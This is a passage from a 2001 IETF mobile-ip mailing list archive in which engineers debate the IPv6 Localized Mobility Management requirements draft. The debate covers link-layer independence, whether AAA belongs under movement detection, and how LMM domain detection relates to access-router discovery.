domain boundaries vs. not. If there is any difference in these
in terms of operation, it's an issue.

>                 Mike

-Jari


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 19:04:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14011
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 19:04:37 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA04288;
	Wed, 21 Nov 2001 16:02:46 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA04303;
	Wed, 21 Nov 2001 16:02:35 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM01eLS015285
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:01:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM01e79015284
	for mobile-ip-dist; Wed, 21 Nov 2001 16:01:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM01ZLS015266
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:01:35 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA04115
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:01:36 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA05421
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 17:01:52 -0700 (MST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAM01Z525018;
	Wed, 21 Nov 2001 16:01:35 -0800 (PST)
Message-ID: <151101c172e8$c9c64d40$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Hesham Soliman \(ERA\)" <hesham.soliman@era.ericsson.se>,
        "Cedric Westphal" <cedric@iprg.nokia.com>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se> <12d001c172bb$62709240$686015ac@docomocarl> <3BFC2287.1DE04258@iprg.nokia.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Wed, 21 Nov 2001 16:01:08 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

For the benefit of the working group:

Those on  the LMM team (Theo, Jari, Erik Nordmark, Hesham,
James Kempf, myself) discussed a L2 related requirement. We
decided to not to include the requirement in the draft that I
posted (and submitted).

Since it has been brought up in a number of emails I feel the need to
list it below so that others on the alias can have context to some
of the email discussions.  Jari did a good job of summarizing it in his
recent
email (which I attached below as well).

3.4.8 Scalable to any link-layer

   A LMM mechanism MUST be fully functional for any link layer.
   This requirement doesn't disallow some L2 specific usage.
   The requirement is only saying that if an LMM solution used,
   for example, L2 MTU in order to perform packet sizing, the
   solution MUST continue to work with no L2 MTU usage.  Any
   LMM mechanism MUST be able to operate on any link layer
   suitable for general-purpose IP traffic.  Also, a LMM
   mechanism SHOULD be able to make use of or coexist with
   optimizations provided by link-layers.


In short, the consensus is to not have such a requirement in
the LMM requirement draft.

Carl  (Jari's email is below)

----- Original Message -----
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>; "Cedric
Westphal" <cedric@iprg.nokia.com>; <t.pagtzis@cs.ucl.ac.uk>
Sent: Wednesday, November 21, 2001 1:54 PM
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)


> All,
>
> > > 2. The L2 stuff !
>
> To repeat a bit the design team discussion, I agree, as long as it is
> well understood that a basic design principle calls for a solution to
> work over multiple L2s. It can be considered an implementation detail
> how L2 optimizations are done as long as it does not mean we require
> some currently not common L2 features for the solution to work.
>
> In summary:
> - L2 independence can be considered a basic enough design principle
>   for L3 protocols not worth mentioning in this spec
> - L2 implementation issue: agreed, as long as it does not mean a need
>   to implement something specific on L2 for the L3 design to work at all
>   (possible L2 additions used by the design can be optimizations but
>   they MUST NOT be mandatory).
>
> BR,
>
> -Jari
>



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 19:13:45 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14151
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 19:13:45 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA11285;
	Wed, 21 Nov 2001 17:12:29 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA06806;
	Wed, 21 Nov 2001 16:12:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0BkLS016316
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:11:46 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM0BjmL016315
	for mobile-ip-dist; Wed, 21 Nov 2001 16:11:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0BfLS016297
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:11:41 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA06690
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:11:42 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA26627
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:11:41 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fAM0BfE29036
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:11:41 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ57599;
	Wed, 21 Nov 2001 16:11:05 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA23178; Wed, 21 Nov 2001 16:11:40 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15356.17084.777207.6056@thomasm-u1.cisco.com>
Date: Wed, 21 Nov 2001 16:11:40 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
In-Reply-To: <3BFC3D35.A812C0F2@iprg.nokia.com>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
	<12d001c172bb$62709240$686015ac@docomocarl>
	<3BFC19CE.54139FE0@iprg.nokia.com>
	<3BFC1E27.AB32C653@iprg.nokia.com>
	<15356.8800.970575.517533@thomasm-u1.cisco.com>
	<3BFC2A97.95F6A11C@iprg.nokia.com>
	<15356.11481.478969.982772@thomasm-u1.cisco.com>
	<3BFC31B8.2F5F1ABC@iprg.nokia.com>
	<15356.14252.159853.32509@thomasm-u1.cisco.com>
	<3BFC3D35.A812C0F2@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Jari T. Malinen writes:
 > Michael Thomas wrote:
 > The issue is rather what the LMM mobile node needs to do when
 > it detects it has e.g. arrived to an area supporting LMM
 > or exited from it as opposed to not doing that. Or crossing
 > domain boundaries vs. not. If there is any difference in these
 > in terms of operation, it's an issue.

   Is this really an issue of LMM, or is it tied up
   with the access control at the AR's? Ie, is
   there a need to separate out the AR domain from
   the LMM domain? Also: even if you did decouple
   them, is there a need for a separate next LMM
   discovery mechanism than that which you'd
   employ for AR discovery?
   
		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 19:27:14 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14442
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 19:27:13 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA19549;
	Wed, 21 Nov 2001 17:25:43 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA09580;
	Wed, 21 Nov 2001 16:25:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0OuLS017712
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM0Otxd017711
	for mobile-ip-dist; Wed, 21 Nov 2001 16:24:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0OqLS017702
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:52 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA17246
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:53 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA02879
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:53 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA14082
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:52 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAM0OqX28976
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:52 -0800
X-mProtect:  Wed, 21 Nov 2001 16:24:52 -0800 Nokia Silicon Valley Messaging Protection
Received: from jmalinen.iprg.nokia.com (205.226.2.98)
	by darkstar.iprg.nokia.com(P1.5 smtpdfLeWp4; Wed, 21 Nov 2001 16:24:50 PST
Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id QAA89370 for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:49 -0800 (PST)
Message-ID: <3BFC45D1.A8AEFE9A@iprg.nokia.com>
Date: Wed, 21 Nov 2001 16:24:49 -0800
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I agree. For the sake of the main list not being flooded with LMM design
team discussion, and to get ahead, let's just drop the example text
"such as AAA". We could also call the movement detection as LMM domain
movement or LMM domain detection.

For Mike: AR domain and LMM domain detection coupling/decoupling is
a design space issue, if the former is always available and can indicate
the presence of support for LMM, ok, it is just worth mentioning LMM domain
detection is an issue whether provided separately or by e.g. AR domain
detection.

BR,

-Jari

Theo Pagtzis wrote:
> 
> Guys,
> 
>  AAA is the last wheel of the carriage that gets notified about the
> movement of the MN to an new domain. This has been already preceded by
> network detection (L3). I would be grateful if we do not mix the two
> even if we mean site/domain/planet or interstellar movement...
> 
> we all understand what was meant by the example that was brought up and
> we all appreciate that the network layer prevails over detection in any
> case (since we are concerned with IP mobility - yes I know it was L2
> that saw it first.. )
> 
> let us please move forward on that and remove AAA from the movement
> detection map or I think I am going to faint..
> 
> Theo
> UCL/Mobile Systems
> 
> Qiang Zhang wrote:
> >
> > Maybe should differentiate
> > "physical movement" from "topological movement" ?
> >
> > I see AAA possible for the later, but no where for the physical
> > movement.
> >
> > Michael Thomas wrote:
> >
> > > I'm making no point whatsoever on the whole draft,
> >
> > Mike,
> >
> > nor do I say you are making a point on the whole draft.
> > By mentioning the _whole_ draft, you are making a general
> > comment out of a particular comment. If you tweak the
> > premisse of a particular point into a general point, of course
> > the conclusions won't hold.
> >
> > >
> > > nor can I see how my comment would be taken as
> > > such.
> >
> > See, how could it be taken as such, as no one said it would?
> >
> > > Nor have I ascribed blame on you or anybody
> > > else, as I have no idea who wrote the paragraph
> > > that was quoted.
> >
> > Authorship of said paragraph (mine) was in the line _before_ said
> > paragraph.
> > Please add a disclaimer in your comments in the future saying that
> > your comment focuses on what you kept, and what you cut out you
> > disregarded. People in this list might assume you comment on the whole
> > email,
> > and might not understand where you are coming from.
> >
> > Cedric.
> >
> > > I'm simply pointing out that AAA
> > > seems like a very weird example of what
> > > could/should be used as a movement detection
> > > mechanism. As for better wording, I'd suggest that
> > > any mention of AAA in that capacity should just be
> > > deleted from the text of the requirements.
> > >
> > >              Mike
> > >
> > > Cedric Westphal writes:
> > >  > Mike,
> > >  >
> > >  > Michael Thomas wrote:
> > >  >
> > >  > > Cedric Westphal writes:
> > >  >
> > >  > something that conveniently got omitted to make a point. Please do
> > >  > not use the so-called 'projector' technique, where you point at one
> > >  > detail to cast doubts on the validity of the whole. The
> > professional
> > >  > attitude, as well as the common etiquette on IETF mailing lists, is
> > to
> > >  > at least mention (with a *snip* or equivalent) that you cut
> > something
> > >  > from the exchange.
> > >  >
> > >  > >
> > >  > >  > 3.5.4 Movement detection
> > >  > >  >
> > >  > >  > Any LMM mechanism MUST contain or make use of a mechanism that
> > provides
> > >  > >  > movement detection between separate visited domains. Movement
> > detection
> > >  > >  > allows a MN to identify that it has moved to a new LM domain,
> > and to perform
> > >  > >  > registration in the new LM domain. LMM mechanism SHOULD
> > interwork with
> > >  > >  > a default movement detection mechanism, such as AAA.
> > >  > >
> > >  > >    AAA?!?
> > >  > >
> > >  > >    AAA isn't a movement detection mechanism, nor should it be
> > >  > >    used as one. That's a *very* bell shaped view of the world.
> > >  >
> > >  > You can blame me as much as you care, the mention of AAA comes from
> > the
> > >  > original 3.5.4 Movement detection paragraph in the draft. By the
> > way, Mike,
> > >  > if you have some better wording to offer, please do so.
> > >  >
> > >  > Cedric.
> > >  >
> > >  > >
> > >  >
> > >  > >
> > >  > >
> > >  > >            Mike
> > >  >


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 19:40:22 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14743
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 19:40:21 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA13097;
	Wed, 21 Nov 2001 16:39:11 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA12513;
	Wed, 21 Nov 2001 16:39:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0bwLS018987
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:37:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM0bwuR018986
	for mobile-ip-dist; Wed, 21 Nov 2001 16:37:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0bsLS018979
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:37:54 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA20116
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:37:23 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA08530
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:37:45 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fAM0bj819102
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:37:45 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ58101;
	Wed, 21 Nov 2001 16:37:09 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA23185; Wed, 21 Nov 2001 16:37:44 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15356.18648.291849.518694@thomasm-u1.cisco.com>
Date: Wed, 21 Nov 2001 16:37:44 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
In-Reply-To: <3BFC45D1.A8AEFE9A@iprg.nokia.com>
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
	<3BFC3CCA.8750CDB1@cs.ucl.ac.uk>
	<3BFC45D1.A8AEFE9A@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Jari T. Malinen writes:
 > For Mike: AR domain and LMM domain detection coupling/decoupling is
 > a design space issue, if the former is always available and can indicate
 > the presence of support for LMM, ok, it is just worth mentioning LMM domain
 > detection is an issue whether provided separately or by e.g. AR domain
 > detection.

   Hmm. Putting it into design space makes it harder to
   evaluate solutions by comparing them to requirements.
   A somewhat similar argument erupted a while ago about
   the assumption that the AAA and HA were always in the
   same administrative realm. If we were drawing
   up requirements for that, I'd say that that would
   be a pretty important one to settle on. I'm
   somewhat concerned that this could be a similar
   case and that it would be better resolved in the 
   requirements phase rather than 6 months into
   the design phase...

	      Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 19:58:30 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15058
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 19:58:29 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA07098;
	Wed, 21 Nov 2001 17:56:59 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA23588;
	Wed, 21 Nov 2001 16:56:42 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0twLS020919
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:55:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM0twxN020918
	for mobile-ip-dist; Wed, 21 Nov 2001 16:55:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM0tsLS020904
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:55:54 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA23411
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:55:34 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id QAA22066
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:55:54 -0800 (PST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17590-0@bells.cs.ucl.ac.uk>; Thu, 22 Nov 2001 00:55:52 +0000
Message-ID: <3BFC4D16.AD4707AA@cs.ucl.ac.uk>
Date: Thu, 22 Nov 2001 00:55:50 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Mike,

  the issue of LMM detection pertains primarily on the established issue
for (auto)configuration of the LMM..since they have to advertise their
existence (or better LMM capability). Advertisment alone can effect one
level of indirection (let's put it this way) in the 'detection'
abstraction still at L3. How you do that is up to the LMM
autoconfiguration protocol but it has indeed been addressed in the
requirement space IMHO as the requirement for autoconfiguration...

I would suggest we do not scratch this wound on this draft...there is _a
lot of space for another_ a pointer for it already exists though..

So by just a single capability flag I can solve (very crudely) and fuse
the AR/LMM detection...the requirement is how to configure the thing to
do that cooperatively with an AR/LMM population and has been addressed I
am sure... (I wrote it.. :)

Theo
UCL/Mobile Systems



Michael Thomas wrote:
> 
> Jari T. Malinen writes:
>  > For Mike: AR domain and LMM domain detection coupling/decoupling is
>  > a design space issue, if the former is always available and can indicate
>  > the presence of support for LMM, ok, it is just worth mentioning LMM domain
>  > detection is an issue whether provided separately or by e.g. AR domain
>  > detection.
> 
>    Hmm. Putting it into design space makes it harder to
>    evaluate solutions by comparing them to requirements.
>    A somewhat similar argument erupted a while ago about
>    the assumption that the AAA and HA were always in the
>    same administrative realm. If we were drawing
>    up requirements for that, I'd say that that would
>    be a pretty important one to settle on. I'm
>    somewhat concerned that this could be a similar
>    case and that it would be better resolved in the
>    requirements phase rather than 6 months into
>    the design phase...
> 
>               Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 20:37:41 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA15659
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 20:37:41 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA29318;
